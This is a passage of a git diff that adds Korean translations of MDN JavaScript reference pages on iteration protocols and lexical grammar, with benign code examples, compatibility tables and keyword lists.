+
+<ul>
+ <li><a href="/ko/docs/Web/JavaScript/Reference/Functions/arguments"><code>arguments</code></a></li>
+ <li><a href="/ko/docs/Web/JavaScript/Reference/Functions/애로우_펑션" title="Arrow functions">화살표 함수</a></li>
+ <li><a href="/ko/docs/Web/JavaScript/Reference/Functions/Default_parameters" title="Default parameters">기본 매개변수</a></li>
+ <li><a href="/ko/docs/Web/JavaScript/Reference/Functions/rest_parameters" title="Rest parameters">나머지 매개변수</a></li>
+</ul>
+
+<h2 id="추가_참고_페이지">추가 참고 페이지</h2>
+
+<ul>
+ <li><a href="/ko/docs/Web/JavaScript/Reference/Lexical_grammar" title="Lexical grammar">어휘 문법</a></li>
+ <li><a href="/ko/docs/Web/JavaScript/Data_structures" title="Data types and data structures">데이터 형 및 데이터 구조</a></li>
+ <li><a href="/ko/docs/Web/JavaScript/Reference/Strict_mode" title="Strict mode">엄격 모드</a></li>
+ <li><a href="/ko/docs/Web/JavaScript/Reference/Deprecated_and_obsolete_features" title="Deprecated features">사라진 기능</a></li>
+</ul>
diff --git a/files/ko/web/javascript/reference/iteration_protocols/index.html b/files/ko/web/javascript/reference/iteration_protocols/index.html
new file mode 100644
index 0000000000..bddc56a50f
--- /dev/null
+++ b/files/ko/web/javascript/reference/iteration_protocols/index.html
@@ -0,0 +1,394 @@
+---
+title: Iteration protocols
+slug: Web/JavaScript/Reference/Iteration_protocols
+translation_of: Web/JavaScript/Reference/Iteration_protocols
+---
+<div>{{jsSidebar("More")}}</div>
+
+<p>ECMAScript 2015 (ES6)에는 새로운 문법이나 built-in 뿐만이 아니라, protocols(표현법들)도 추가되었습니다. 이 protocol 은 일정 규칙만 충족한다면 어떠한 객체에 의해서도 구현될 수 있습니다.</p>
+
+<p>2개의 protocol이 있습니다 : <a href="#iterable">iterable protocol</a> 과 <a href="#iterator">iterator protocol</a>.</p>
+
+<h2 id="iterable" name="iterable">The iterable protocol</h2>
+
+<p><strong>iterable</strong> protocol 은 JavaScript 객체들이, 예를 들어 {{jsxref("Statements/for...of", "for..of")}} 구조에서 어떠한 value 들이 loop 되는 것과 같은 iteration 동작을 정의하거나 사용자 정의하는 것을 허용합니다. 다른 type 들({{jsxref("Object")}} 와 같은)이 그렇지 않은 반면에, 어떤 built-in type 들은 {{jsxref("Array")}} 또는 {{jsxref("Map")}} 과 같은 default iteration 동작으로 <a href="#Builtin_iterables">built-in iterables</a> 입니다.</p>
+
+<p><strong>iterable </strong>하기 위해서 object는 <strong>@@iterator</strong> 메소드를 구현해야 합니다. 이것은 object (또는 <a href="/en-US/docs/Web/JavaScript/Guide/Inheritance_and_the_prototype_chain">prototype chain</a> 의 오브젝트 중 하나) 가 <code>{{jsxref("Symbol.iterator")}} </code>key 의 속성을 가져야 한다는 것을 의미합니다 :</p>
+
+<table class="standard-table">
+ <thead>
+ <tr>
+ <th scope="col">Property</th>
+ <th scope="col">Value</th>
+ </tr>
+ </thead>
+ <tbody>
+ <tr>
+ <td><code>[Symbol.iterator]</code></td>
+ <td>object를 반환하는, arguments 없는 function. <a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Iteration_protocols#iterator">iterator protocol</a> 을 따른다.</td>
+ </tr>
+ </tbody>
+</table>
+
+<p>어떠한 객체가 반복(Iterate)되어야 한다면 이 객체의 <code>@@iterator</code> 메소드가 인수없이 호출되고, 반환된 <strong>iterator</strong>는 반복을 통해서 획득할 값들을 얻을 때 사용됩니다.</p>
+
+<h2 id="iterator" name="iterator">The iterator protocol</h2>
+
+<p><strong>iterator </strong>protocol 은 value( finite 또는 infinite) 들의 sequence 를 만드는 표준 방법을 정의합니다. </p>
+
+<p>객체가 <code><strong>next()</strong></code> 메소드를 가지고 있고, 아래의 규칙에 따라 구현되었다면 그 객체는 iterator이다:</p>
+
+<table class="standard-table">
+ <tbody>
+ <tr>
+ <th scope="col">Property</th>
+ <th scope="col">Value</th>
+ </tr>
+ <tr>
+ <td><code>next</code></td>
+ <td>
+ <p>아래 2개의 속성들을 가진 object 를 반환하는 arguments 없는 함수 :</p>
+
+ <ul>
+ <li><code>done</code> (boolean)
+
+ <ul>
+ <li>Iterator(반복자)가 마지막 반복 작업을 마쳤을 경우 <code>true</code>. 만약 iterator(반복자)에 <em>return 값</em>이 있다면 <code>value</code>의 값으로 지정된다. 반환 값에 대한 설명은 <a href="http://www.2ality.com/2013/06/iterators-generators.html#generators-as-threads">여기</a>.</li>
+ <li>Iterator(반복자)의 작업이 남아있을 경우 <code>false</code>. Iterator(반복자)에 <code>done</code> 프로퍼티 자체를 특정짓지 않은 것과 동일하다.</li>
+ </ul>
+ </li>
+ <li><code>value</code> - Iterator(반복자)으로부터 반환되는 모든 자바스크립트 값이며 <code>done</code>이 <code>true</code>일 경우 생략될 수 있다.</li>
+ </ul>
+ </td>
+ </tr>
+ </tbody>
+</table>
+
+<p>몇몇 iterator들은 iterable(반복 가능)이다:</p>
+
+<pre class="brush: js">var someArray = [1, 5, 7];
+var someArrayEntries = someArray.entries();
+
+someArrayEntries.toString();           // "[object Array Iterator]"
+someArrayEntries === someArrayEntries[Symbol.iterator](); // true
+</pre>
+
+<h2 id="Iteration_protocols_사용_예시"> Iteration protocols 사용 예시</h2>
+
+<p>{{jsxref("String")}} 은 built-in iterable 객체의 한 예시입니다.</p>
+
+<pre class="brush: js">var someString = "hi";
+typeof someString[Symbol.iterator]; // "function"
+</pre>
+
+<p><code>String</code> 의 기본 iterator 는 string 의 문자를 하나씩 반환합니다.</p>
+
+<pre class="brush: js">var iterator = someString[Symbol.iterator]();
+iterator + ""; // "[object String Iterator]"
+
+iterator.next(); // { value: "h", done: false }
+iterator.next(); // { value: "i", done: false }
+iterator.next(); // { value: undefined, done: true }</pre>
+
+<p><a href="/en-US/docs/Web/JavaScript/Reference/Operators/Spread_operator">spread operator</a>와 같은 특정 내장 구조(built-in constructs)들은 실제로는 동일한 iteration protocol을 사용한다:</p>
+
+<pre class="brush: js">[...someString] // ["h", "i"]</pre>
+
+<p>사용자만의 <code>@@iterator</code>를 특정함으로써 원하는 반복 행위(iteration behavior)를 설정할 수 있다:</p>
+
+<pre class="brush: js">var someString = new String("hi"); // need to construct a String object explicitly to avoid auto-boxing
+
+someString[Symbol.iterator] = function() {
+ return { // this is the iterator object, returning a single element, the string "bye"
+ next: function() {
+ if (this._first) {
+ this._first = false;
+ return { value: "bye", done: false };
+ } else {
+ return { done: true };
+ }
+ },
+ _first: true
+ };
+};
+</pre>
+
+<p>재설정된 <code>@@iterator</code>가 어떻게 내장 구조(built-in constructs)의 반복 행위에 영향을 주는지 참고:</p>
+
+<pre class="brush: js">[...someString]; // ["bye"]
+someString + ""; // "hi"
+</pre>
+
+<h2 id="Iterable_예시">Iterable 예시</h2>
+
+<h3 id="내장_iterables">내장 iterables</h3>
+
+<p>{{jsxref("String")}}, {{jsxref("Array")}}, {{jsxref("TypedArray")}}, {{jsxref("Map")}} and {{jsxref("Set")}} 는 모두 내장 iterable이다. 이 객체들의 프로토타입 객체들은 모두 <code>@@</code><code>iterator</code> 메소드를 가지고 있기 때문이다.</p>
+
+<h3 id="사용자_정의된_iterables">사용자 정의된 iterables</h3>
+
+<p>이렇게 고유한 iterables 를 만들 수 있다.</p>
+
+<pre class="brush: js">var myIterable = {};
+myIterable[Symbol.iterator] = function* () {
+ yield 1;
+ yield 2;
+ yield 3;
+};
+[...myIterable]; // [1, 2, 3]
+</pre>
+
+<h3 id="Iterable을_허용하는_내장_API들">Iterable을 허용하는 내장 API들</h3>
+
+<p>Iterable을 허용하는 많은 내장 API들이 있다. 예를 들어: {{jsxref("Map", "Map([iterable])")}}, {{jsxref("WeakMap", "WeakMap([iterable])")}}, {{jsxref("Set", "Set([iterable])")}} and {{jsxref("WeakSet", "WeakSet([iterable])")}}이 그것이다:</p>
+
+<pre class="brush: js">var myObj = {};
+new Map([[1,"a"],[2,"b"],[3,"c"]]).get(2); // "b"
+new WeakMap([[{},"a"],[myObj,"b"],[{},"c"]]).get(myObj); // "b"
+new Set([1, 2, 3]).has(3); // true
+new Set("123").has("2"); // true
+new WeakSet(function*() {
+ yield {};
+ yield myObj;
+ yield {};
+}()).has(myObj); // true
+</pre>
+
+<p>뿐만 아니라 {{jsxref("Promise.all", "Promise.all(iterable)")}}, {{jsxref("Promise.race", "Promise.race(iterable)")}}와 {{jsxref("Array.from", "Array.from()")}} 또한 해당된다.</p>
+
+<h3 id="Iterable과_함께_사용되는_문법">Iterable과 함께 사용되는 문법</h3>
+
+<p><code><a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Statements/for...of">for-of</a></code> loops, <a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Operators/Spread_operator">spread operator</a>, <code><a href="/en-US/docs/Web/JavaScript/Reference/Operators/yield*">yield*</a>와</code> <a href="/en-US/docs/Web/JavaScript/Reference/Operators/Destructuring_assignment">destructuring assignment</a>는 iterable과 함께 사용되는 구문(statements)과 표현(expressions)이다.</p>
+
+<pre class="brush: js">for(let value of ["a", "b", "c"]){
+ console.log(value);
+}
+// "a"
+// "b"
+// "c"
+
+[..."abc"]; // ["a", "b", "c"]
+
+function* gen(){
+ yield* ["a", "b", "c"];
+}
+
+gen().next(); // { value:"a", done:false }
+
+[a, b, c] = new Set(["a", "b", "c"]);
+a // "a"
+
+</pre>
+
+<h3 id="잘_정의되지_못한_iterables">잘 정의되지 못한 iterables</h3>
+
+<p>만약 Iterable의 <code>@@iterator</code> 메소드가 iterator 객체를 반환하지 않는다면 그것은 잘 정의되지 못한 iterable이라고 할 수 있다. 이러한 iterable을 사용하는 것은 런타임 예외나 예상치 못한 결과를 불러올 수 있다:</p>
+
+<pre class="brush: js">var nonWellFormedIterable = {}
+nonWellFormedIterable[Symbol.iterator] = () =&gt; 1
+[...nonWellFormedIterable] // TypeError: [] is not a function
+</pre>
+
+<h2 id="Iterator_예시">Iterator 예시</h2>
+
+<h3 id="간단한_iterator">간단한 iterator</h3>
+
+<pre class="brush: js">function makeIterator(array){
+ var nextIndex = 0;
+
+ return {
+ next: function(){
+ return nextIndex &lt; array.length ?
+ {value: array[nextIndex++], done: false} :
+ {done: true};
+ }
+ };
+}
+
+var it = makeIterator(['yo', 'ya']);
+
+console.log(it.next().value); // 'yo'
+console.log(it.next().value); // 'ya'
+console.log(it.next().done); // true
+</pre>
+
+<h3 id="무한_iterator">무한 iterator</h3>
+
+<pre class="brush: js">function idMaker(){
+ var index = 0;
+
+ return {
+ next: function(){
+ return {value: index++, done: false};
+ }
+ };
+}
+
+var it = idMaker();
+
+console.log(it.next().value); // '0'
+console.log(it.next().value); // '1'
+console.log(it.next().value); // '2'
+// ...
+</pre>
+
+<h3 id="Generator와_함께_사용된_iterator">Generator와 함께 사용된 iterator</h3>
+
+<pre class="brush: js">function* makeSimpleGenerator(array){
+ var nextIndex = 0;
+
+ while(nextIndex &lt; array.length){
+ yield array[nextIndex++];
+ }
+}
+
+var gen = makeSimpleGenerator(['yo', 'ya']);
+
+console.log(gen.next().value); // 'yo'
+console.log(gen.next().value); // 'ya'
+console.log(gen.next().done); // true
+
+
+
+function* idMaker(){
+ var index = 0;
+ while(true)
+ yield index++;
+}
+
+var gen = idMaker();
+
+console.log(gen.next().value); // '0'
+console.log(gen.next().value); // '1'
+console.log(gen.next().value); // '2'
+// ...
+</pre>
+
+<h2 id="generator_object_는_iterator_또는_iterable_인가">generator object 는 iterator 또는 iterable 인가?</h2>
+
+<p><a href="/en-US/docs/Web/JavaScript/Reference/Global_Objects/Generator">generator object</a> 는 iterator 이면서 iterable 입니다.</p>
+
+<pre class="brush: js">var aGeneratorObject = function*(){
+ yield 1;
+ yield 2;
+ yield 3;
+}();
+typeof aGeneratorObject.next;
+// "function", 이것은 next 메서드를 가지고 있기 때문에 iterator입니다.
+typeof aGeneratorObject[Symbol.iterator];
+// "function", 이것은 @@iterator 메서드를 가지고 있기 때문에 iterable입니다.
+aGeneratorObject[Symbol.iterator]() === aGeneratorObject;
+// true, 이 Object의 @@iterator 메서드는 자기자신(iterator)을 리턴하는 것으로 보아 잘 정의된 iterable이라고 할 수 있습니다.
+[...aGeneratorObject];
+// [1, 2, 3]
+</pre>
+
+<h2 id="Browser_compatibility">Browser compatibility</h2>
+
+<div>{{CompatibilityTable}}</div>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+ <tr>
+ <th>Feature</th>
+ <th>Chrome</th>
+ <th>Firefox (Gecko)</th>
+ <th>Internet Explorer</th>
+ <th>Opera</th>
+ <th>Safari (WebKit)</th>
+ </tr>
+ <tr>
+ <td>Basic support</td>
+ <td>{{CompatChrome(39.0)}}</td>
+ <td>{{CompatGeckoDesktop("27.0")}}</td>
+ <td>{{CompatNo}}</td>
+ <td>26</td>
+ <td>{{CompatNo}}</td>
+ </tr>
+ <tr>
+ <td><code>IteratorResult</code> object instead of throwing</td>
+ <td>{{CompatVersionUnknown}}</td>
+ <td>{{CompatGeckoDesktop("29.0")}}</td>
+ <td>{{CompatNo}}</td>
+ <td>{{CompatVersionUnknown}}</td>
+ <td>{{CompatNo}}</td>
+ </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+ <tr>
+ <th>Feature</th>
+ <th>Android</th>
+ <th>Android Webview</th>
+ <th>Firefox Mobile (Gecko)</th>
+ <th>IE Mobile</th>
+ <th>Opera Mobile</th>
+ <th>Safari Mobile</th>
+ <th>Chrome for Android</th>
+ </tr>
+ <tr>
+ <td>Basic support</td>
+ <td>{{CompatNo}}</td>
+ <td>{{CompatVersionUnknown}}</td>
+ <td>{{CompatGeckoMobile("27.0")}}</td>
+ <td>{{CompatNo}}</td>
+ <td>{{CompatNo}}</td>
+ <td>{{CompatNo}}</td>
+ <td>{{CompatChrome(39.0)}}</td>
+ </tr>
+ <tr>
+ <td><code>IteratorResult</code> object instead of throwing</td>
+ <td>{{CompatNo}}</td>
+ <td>{{CompatUnknown}}</td>
+ <td>{{CompatGeckoMobile("29.0")}}</td>
+ <td>{{CompatNo}}</td>
+ <td>{{CompatNo}}</td>
+ <td>{{CompatNo}}</td>
+ <td>{{CompatVersionUnknown}}</td>
+ </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="Firefox-specific_notes">Firefox-specific notes</h2>
+
+<h3 id="IteratorResult_object_returned_instead_of_throwing"><code>IteratorResult</code> object returned instead of throwing</h3>
+
+<p>Starting with Gecko 29 {{geckoRelease(29)}}, the completed generator function no longer throws a {{jsxref("TypeError")}} "generator has already finished". Instead, it returns an <code>IteratorResult</code> object like <code>{ value: undefined, done: true }</code> ({{bug(958951)}}).</p>
+
+<h3 id="Iterator_property_and_iterator_symbol"><code>Iterator</code> property and <code>@@iterator</code> symbol</h3>
+
+<p>From Gecko 17 (Firefox 17 / Thunderbird 17 / SeaMonkey 2.14) to Gecko 26 (Firefox 26 / Thunderbird 26 / SeaMonkey 2.23 / Firefox OS 1.2) the <code>iterator</code> property was used (<a href="https://bugzilla.mozilla.org/show_bug.cgi?id=907077">bug 907077</a>), and from Gecko 27 to Gecko 35 the <code>"@@iterator"</code> placeholder was used. In Gecko 36 (Firefox 36 / Thunderbird 36 / SeaMonkey 2.33), the <code>@@iterator</code> <a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Symbol">symbol</a> got implemented (<a href="https://bugzilla.mozilla.org/show_bug.cgi?id=918828">bug 918828</a>).</p>
+
+<h2 id="Specifications">Specifications</h2>
+
+<table class="standard-table">
+ <tbody>
+ <tr>
+ <th scope="col">Specification</th>
+ <th scope="col">Status</th>
+ <th scope="col">Comment</th>
+ </tr>
+ <tr>
+ <td>{{SpecName('ES6', '#sec-iteration', 'Iteration')}}</td>
+ <td>{{Spec2('ES6')}}</td>
+ <td>Initial definition.</td>
+ </tr>
+ <tr>
+ <td>{{SpecName('ESDraft', '#sec-iteration', 'Iteration')}}</td>
+ <td>{{Spec2('ESDraft')}}</td>
+ <td> </td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li>ES6 제너레이터에 대한 더 상세한 정보는 <a href="/en-US/docs/Web/JavaScript/Reference/Statements/function*">the function*() documentation</a> 를 참조하시기 바랍니다.</li>
+</ul>
diff --git a/files/ko/web/javascript/reference/lexical_grammar/index.html b/files/ko/web/javascript/reference/lexical_grammar/index.html
new file mode 100644
index 0000000000..74e4e63788
--- /dev/null
+++ b/files/ko/web/javascript/reference/lexical_grammar/index.html
@@ -0,0 +1,657 @@
+---
+title: 어휘 문법
+slug: Web/JavaScript/Reference/Lexical_grammar
+tags:
+ - JavaScript
+ - Keyword
+ - Lexical Grammar
+ - 문법
+translation_of: Web/JavaScript/Reference/Lexical_grammar
+---
+<div>{{JsSidebar("More")}}</div>
+
+<p>이 페이지는 JavaScript의 어휘 문법(lexical grammar)을 설명합니다. ECMAScript 소스 본문은 왼쪽에서 오른쪽 방향으로 분석되고 토큰, 제어문자, 줄바꿈, 주석, 또는 공백으로 구성되는 입력 요소 시퀀스로 바뀝니다. 또한 ECMAScript는 특별한 키워드와 리터럴을 정의하고 있으며 명령문 끝에 자동으로 세미콜론을 추가하는 규칙이 있습니다.</p>
+
+<h2 id="제어_문자">제어 문자</h2>
+
+<p>제어 문자는 눈에 보이지 않지만 스크립트 소스 본문 해석을 제어하는 데 사용됩니다.</p>
+
+<table class="standard-table">
+ <caption>유니코드 형식 제어 문자</caption>
+ <tbody>
+ <tr>
+ <th>코드 포인트</th>
+ <th>이름</th>
+ <th>축약형</th>
+ <th>설명</th>
+ </tr>
+ <tr>
+ <td><code>U+200C</code></td>
+ <td>Zero width non-joiner</td>
+ <td>&lt;ZWNJ&gt;</td>
+ <td>
+ <p>특정 언어에서 문자들이 연결선으로 묶이지 않게 하기 위해 문자 사이에 위치한다(<a href="http://en.wikipedia.org/wiki/Zero-width_non-joiner">Wikipedia</a>).</p>
+ </td>
+ </tr>
+ <tr>
+ <td><code>U+200D</code></td>
+ <td>Zero width joiner</td>
+ <td>&lt;ZWJ&gt;</td>
+ <td>
+ <p>특정 언어에서, 보통은 연결되지 않는 문자이나 해당 문자를 연결된 형태로 그리기 위해서(to be rendered) 사용하며 문자 사이에 위치한다(<a href="http://en.wikipedia.org/wiki/Zero-width_joiner">Wikipedia</a>).</p>
+ </td>
+ </tr>
+ <tr>
+ <td><code>U+FEFF</code></td>
+ <td>Byte order mark</td>
+ <td>&lt;BOM&gt;</td>
+ <td>
+ <p>스크립트 맨 앞에 두어 스크립트 본문의 byte order와 유니코드를 표시하는 데에 사용한다.(<a href="http://en.wikipedia.org/wiki/Byte_order_mark">Wikipedia</a>).</p>
+ </td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="공백">공백</h2>
+
+<p>공백 문자는 소스 본문을 읽기 좋게 만들고 토큰을 구분합니다. 이 공백 문자들은 보통 코드의 기능에 필요한 것은 아닙니다. 최소화 도구(<a href="http://en.wikipedia.org/wiki/Minification_%28programming%29">Minification tools</a>)는 종종 전송해야하는 데이터 크기를 줄이기 위해서 공백을 제거합니다.</p>
+
+<table class="standard-table">
+ <caption>공백 문자</caption>
+ <tbody>
+ <tr>
+ <th>코드 포인트</th>
+ <th>이름</th>
+ <th>축약형</th>
+ <th>설명</th>
+ <th>이스케이프 시퀀스</th>
+ </tr>
+ <tr>
+ <td>U+0009</td>
+ <td>Character tabulation</td>
+ <td>&lt;HT&gt;</td>
+ <td>Horizontal tabulation</td>
+ <td>\t</td>
+ </tr>
+ <tr>
+ <td>U+000B</td>
+ <td>Line tabulation</td>
+ <td>&lt;VT&gt;</td>
+ <td>Vertical tabulation</td>
+ <td>\v</td>
+ </tr>
+ <tr>
+ <td>U+000C</td>
+ <td>Form feed</td>
+ <td>&lt;FF&gt;</td>
+ <td>Page breaking control character (<a href="http://en.wikipedia.org/wiki/Page_break#Form_feed">Wikipedia</a>).</td>
+ <td>\f</td>
+ </tr>
+ <tr>
+ <td>U+0020</td>
+ <td>Space</td>
+ <td>&lt;SP&gt;</td>
+ <td>Normal space</td>
+ <td></td>
+ </tr>
+ <tr>
+ <td>U+00A0</td>
+ <td>No-break space</td>
+ <td>&lt;NBSP&gt;</td>
+ <td>Normal space, but no point at which a line may break</td>
+ <td></td>
+ </tr>
+ <tr>
+ <td>Others</td>
+ <td>Other Unicode space characters</td>
+ <td>&lt;USP&gt;</td>
+ <td><a href="http://en.wikipedia.org/wiki/Space_%28punctuation%29#Spaces_in_Unicode">Spaces in Unicode on Wikipedia</a></td>
+ <td></td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="개행_문자">개행 문자</h2>
+
+<p>공백문자와 더불어, 개행 문자는 소스 본문의 가독성을 향상시킵니다. 하지만, 몇몇 상황에서 개행 문자는 코드 내부에 숨겨지기 때문에 자바스크립트 코드 실행에 영향을 미칩니다. 개행 문자는 자동 새미콜론 삽입(<a href="#Automatic_semicolon_insertion">automatic semicolon insertion</a>) 규칙에도 영향을 줍니다. 개행 문자는 표준 표현방식(<a href="/en-US/docs/Web/JavaScript/Guide/Regular_Expressions">regular expressions</a>)의 클래스인 \s로 매치됩니다.</p>
+
+<p>아래의 유니코드 문자만이 ECMAScript에서 라인 종결자로 다뤄지며, 라인을 바꾸는 다른 문자들은 공백으로 생각하시면 됩니다(예를 들어, Next Line, NEL, U+0085는 공백으로 간주).</p>
+
+<table class="standard-table">
+ <caption>개행 문자</caption>
+ <tbody>
+ <tr>
+ <th>코드 포인트</th>
+ <th>이름</th>
+ <th>축약형</th>
+ <th>설명</th>
+ <th>이스케이프 시퀀스</th>
+ </tr>
+ <tr>
+ <td>U+000A</td>
+ <td>Line Feed</td>
+ <td>&lt;LF&gt;</td>
+ <td>New line character in UNIX systems.</td>
+ <td>\n</td>
+ </tr>
+ <tr>
+ <td>U+000D</td>
+ <td>Carriage Return</td>
+ <td>&lt;CR&gt;</td>
+ <td>New line character in Commodore and early Mac systems.</td>
+ <td>\r</td>
+ </tr>
+ <tr>
+ <td>U+2028</td>
+ <td>Line Separator</td>
+ <td>&lt;LS&gt;</td>
+ <td><a href="http://en.wikipedia.org/wiki/Newline">Wikipedia</a></td>
+ <td></td>
+ </tr>
+ <tr>
+ <td>U+2029</td>
+ <td>Paragraph Separator</td>
+ <td>&lt;PS&gt;</td>
+ <td><a href="http://en.wikipedia.org/wiki/Newline">Wikipedia</a></td>
+ <td></td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="주석">주석</h2>
+
+<p>주석은 힌트, 필기, 제안이나 주의할 점들을 자바스크립트 코드에 넣을 때 사용합니다. 이는 더 쉽게 읽고 이해할 수 있게 도와줍니다. 또한 특정 코드가 실행되지 않도록 막아주기도 합니다. 따라서 주석은 유용한 디버깅 도구라고도 할 수 있습니다.</p>
+
+<p>자바스크립트에는 코드 속에 주석을 쓰는 두 가지 방식이 있습니다.</p>
+
+<p>첫 번째, '//'로 첨언하기입니다. 이는 아래의 예시처럼 같은 줄에 있는 모든 코드를 주석으로 바꿉니다.</p>
+
+<pre class="brush: js notranslate">function comment() {
+ // 자바스크립트의 각주 한 줄입니다.
+ console.log("Hello world!");
+}
+comment();
+</pre>
+
+<p>두 번째, 좀 더 유연하게 쓸 수 있는 '/* */'로 첨언하기입니다.</p>
+
+<p>예를 들면, 한 줄에 첨언할 때는 이렇게 쓸 수 있습니다 :</p>
+
+<pre class="brush: js notranslate">function comment() {
+ /* 자바스크립트 각주 한 줄입니다. */
+ console.log("Hello world!");
+}
+comment();</pre>
+
+<p>여러 줄로 첨언할 때는, 이렇게 씁니다 :</p>
+
+<pre class="brush: js notranslate">function comment() {
+ /* This comment spans multiple lines. Notice
+ that we don't need to end the comment until we're done. */
+ console.log("Hello world!");
+}
+comment();</pre>
+
+<p>원한다면, 라인 중간에도 사용할 수 있습니다. 물론 코드의 가독성이 떨어지게 됩니다. 그러니 주의를 기울여 사용해야 합니다:</p>
+
+<p>function comment(x) {</p>
+
+<pre class="brush: js notranslate"> console.log("Hello " + x /* insert the value of x */ + " !");
+}
+comment("world");</pre>
+
+<p>게다가, 코드 실행을 막기 위해 코드를 무용화 시키는데도 사용할 수 있습니다. 아래처럼 코드를 코멘트로 감싸는 거죠:</p>
+
+<pre class="brush: js notranslate">function comment() {
+ /* console.log("Hello world!"); */
+}
+comment();</pre>
+
+<p>In this case, the <code>console.log()</code> call is never issued, since it's inside a comment. Any number of lines of code can be disabled this way.</p>
+
+<h2 id="해시뱅_주석">해시뱅 주석</h2>
+
+<p>A specialized third comment syntax, the <strong>hashbang comment</strong>, is in the process of being standardized in ECMAScript (see the <a href="https://github.com/tc39/proposal-hashbang">Hashbang Grammar proposal</a>).</p>
+
+<p>A hashbang comment behaves exactly like a single line-only (<code>//</code>) comment, but it instead begins with <code>#!</code> and<strong> is only valid at the absolute start of a script or module</strong>. Note also that no whitespace of any kind is permitted before the <code>#!</code>. The comment consists of all the characters after <code>#!</code> up to the end of the first line; only one such comment is permitted.</p>
+
+<p>The hashbang comment specifies the path to a specific JavaScript interpreter<br>
+ that you want to use to execute the script. An example is as follows:</p>
+
+<pre class="brush: js notranslate">#!/usr/bin/env node
+
+console.log("Hello world");
+</pre>
+
+<div class="blockIndicator note">
+<p><strong>Note</strong>: Hashbang comments in JavaScript mimic <a href="https://en.wikipedia.org/wiki/Shebang_(Unix)">shebangs in Unix</a> used to run files with proper interpreter.</p>
+</div>
+
+<div class="blockIndicator warning">
+<p>Although <a href="https://en.wikipedia.org/wiki/Byte_order_mark">BOM</a> before hashbang comment will work in a browser it is not advised to use BOM in a script with hasbang. BOM will not work when you try to run the script in Unix/Linux. So use UTF-8 without BOM if you want to run scripts directly from shell.</p>
+</div>
+
+<p>You must only use the <code>#!</code> comment style to specify a JavaScript interpreter. In all other cases just use a <code>//</code> comment (or mulitiline comment).</p>
+
+<h2 id="키워드">키워드</h2>
+
+<h3 id="ECMAScript_2015_기준_예약_키워드">ECMAScript 2015 기준 예약 키워드</h3>
+
+<ul class="threecolumns">
+ <li>{{jsxref("Statements/break", "break")}}</li>
+ <li>{{jsxref("Statements/switch", "case")}}</li>
+ <li>{{jsxref("Statements/try...catch", "catch")}}</li>
+ <li>{{jsxref("Statements/class", "class")}}</li>
+ <li>{{jsxref("Statements/const", "const")}}</li>
+ <li>{{jsxref("Statements/continue", "continue")}}</li>
+ <li>{{jsxref("Statements/debugger", "debugger")}}</li>
+ <li>{{jsxref("Statements/default", "default")}}</li>
+ <li>{{jsxref("Operators/delete", "delete")}}</li>
+ <li>{{jsxref("Statements/do...while", "do")}}</li>
+ <li>{{jsxref("Statements/if...else", "else")}}</li>
+ <li>{{jsxref("Statements/export", "export")}}</li>
+ <li>{{jsxref("Statements/class", "extends")}}</li>
+ <li>{{jsxref("Statements/try...catch", "finally")}}</li>
+ <li>{{jsxref("Statements/for", "for")}}</li>
+ <li>{{jsxref("Statements/function", "function")}}</li>
+ <li>{{jsxref("Statements/if...else", "if")}}</li>
+ <li>{{jsxref("Statements/import", "import")}}</li>
+ <li>{{jsxref("Operators/in", "in")}}</li>
+ <li>{{jsxref("Operators/instanceof", "instanceof")}}</li>
+ <li>{{jsxref("Operators/new", "new")}}</li>
+ <li>{{jsxref("Statements/return", "return")}}</li>
+ <li>{{jsxref("Operators/super", "super")}}</li>
+ <li>{{jsxref("Statements/switch", "switch")}}</li>
+ <li>{{jsxref("Operators/this", "this")}}</li>
+ <li>{{jsxref("Statements/throw", "throw")}}</li>
+ <li>{{jsxref("Statements/try...catch", "try")}}</li>
+ <li>{{jsxref("Operators/typeof", "typeof")}}</li>
+ <li>{{jsxref("Statements/var", "var")}}</li>
+ <li>{{jsxref("Operators/void", "void")}}</li>
+ <li>{{jsxref("Statements/while", "while")}}</li>
+ <li>{{jsxref("Statements/with", "with")}}</li>
+ <li>{{jsxref("Operators/yield", "yield")}}</li>
+</ul>
+
+<h3 id="확장_예약_키워드">확장 예약 키워드</h3>
+
+<p>The following are reserved as future keywords by the ECMAScript specification. They have no special functionality at present, but they might at some future time, so they cannot be used as identifiers.</p>
+
+<p>These are always reserved:</p>
+
+<ul>
+ <li><code>enum</code></li>
+</ul>
+
+<p>The following are only reserved when they are found in strict mode code:</p>
+
+<ul class="threecolumns">
+ <li><code>implements</code></li>
+ <li><code>interface</code></li>
+ <li>{{jsxref("Statements/let", "let")}}</li>
+ <li><code>package</code></li>
+ <li><code>private</code></li>
+ <li><code>protected</code></li>
+ <li><code>public</code></li>
+ <li><code>static</code></li>
+</ul>
+
+<p>The following are only reserved when they are found in module code:</p>
+
+<ul>
+ <li><code>await</code></li>
+</ul>
+
+<h4 id="구형_표준의_확장_예약_키워드">구형 표준의 확장 예약 키워드</h4>
+
+<p>The following are reserved as future keywords by older ECMAScript specifications (ECMAScript 1 till 3).</p>
+
+<ul class="threecolumns">
+ <li><code>abstract</code></li>
+ <li><code>boolean</code></li>
+ <li><code>byte</code></li>
+ <li><code>char</code></li>
+ <li><code>double</code></li>
+ <li><code>final</code></li>
+ <li><code>float</code></li>
+ <li><code>goto</code></li>
+ <li><code>int</code></li>
+ <li><code>long</code></li>
+ <li><code>native</code></li>
+ <li><code>short</code></li>
+ <li><code>synchronized</code></li>
+ <li><code>throws</code></li>
+ <li><code>transient</code></li>
+ <li><code>volatile</code></li>
+</ul>
+
+<p>Additionally, the literals <code>null</code>, <code>true</code>, and <code>false</code> cannot be used as identifiers in ECMAScript.</p>
+
+<h3 id="예약어_사용법">예약어 사용법</h3>
+
